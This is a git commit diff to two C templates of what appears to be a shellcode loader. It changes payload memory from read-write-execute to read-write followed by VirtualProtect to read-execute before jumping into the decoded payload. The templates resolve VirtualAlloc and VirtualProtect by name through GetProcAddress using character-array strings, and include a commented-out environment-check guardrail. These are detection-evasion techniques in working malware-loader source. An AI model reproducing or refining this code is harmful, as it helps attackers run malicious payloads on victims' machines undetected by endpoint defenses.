fix: make memory not rwx, but rw->rx

This commit is contained in:
Dobin
2024-05-02 17:35:11 +01:00
parent c372d348ce
commit ef7f63059e
2 changed files with 24 additions and 4 deletions
+6 -3
View File
@@ -21,8 +21,6 @@ int sleep_ms(DWORD sleeptime) {
int main()
{
//sleep_ms(10000);
// Execution Guardrail: Env Check
//wchar_t envVarName[] = {'U','S','E','R','P','R','O','F','I','L','E', 0};
//wchar_t tocheck[] = {'C',':','\\','U','s','e','r','s','\\','h','a','c','k','e','r', 0}; // L"C:\\Users\\hacker"
@@ -39,13 +37,18 @@ int main()
// Allocate 1
// char *dest = ...
char *dest = VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, 0x40);
char *dest = VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, 0x04); // rw
//sleep_ms(10000);
// Copy (and decode)
// from: supermega_payload[]
// to: dest[]
{{ plugin_decoder }}
if (VirtualProtect(dest, {{PAYLOAD_LEN}}, 0x20, &result) == 0) { // rx
return 7;
}
// Execute *dest
(*(void(*)())(dest))();
+18 -1
View File
@@ -84,7 +84,9 @@ int main()
_In_ DWORD flAllocationType,
_In_ DWORD flProtect)) _GetProcAddress((HMODULE)base, VirtualAlloc_str);
if (_VirtualAlloc == NULL) return 4;
char *dest = _VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, 0x40);
char *dest = _VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, 0x04); // rw
//sleep_ms(10000);
// Copy
// from: supermega_payload[]
@@ -92,6 +94,21 @@ int main()
// len: 0x11223344
{{ plugin_decoder }}
// ntdll.dll: VirtualAlloc()
char VirtualProtect_str[] = { 'V','i','r','t','u','a','l','P','r','o','t','e', 'c', 't', 0 };
LPVOID (WINAPI * _VirtualProtect)(
_In_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flNewProtect,
_Out_ PDWORD lpflOldProtect) = (LPVOID (WINAPI*)(
_In_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flNewProtect,
_Out_ PDWORD lpflOldProtect)) _GetProcAddress((HMODULE)base, VirtualProtect_str);
if (_VirtualProtect == NULL) return 4;
_VirtualProtect(dest, {{PAYLOAD_LEN}}, 0x20, &result); // rx
// Execute *dest
(*(void(*)())(dest))();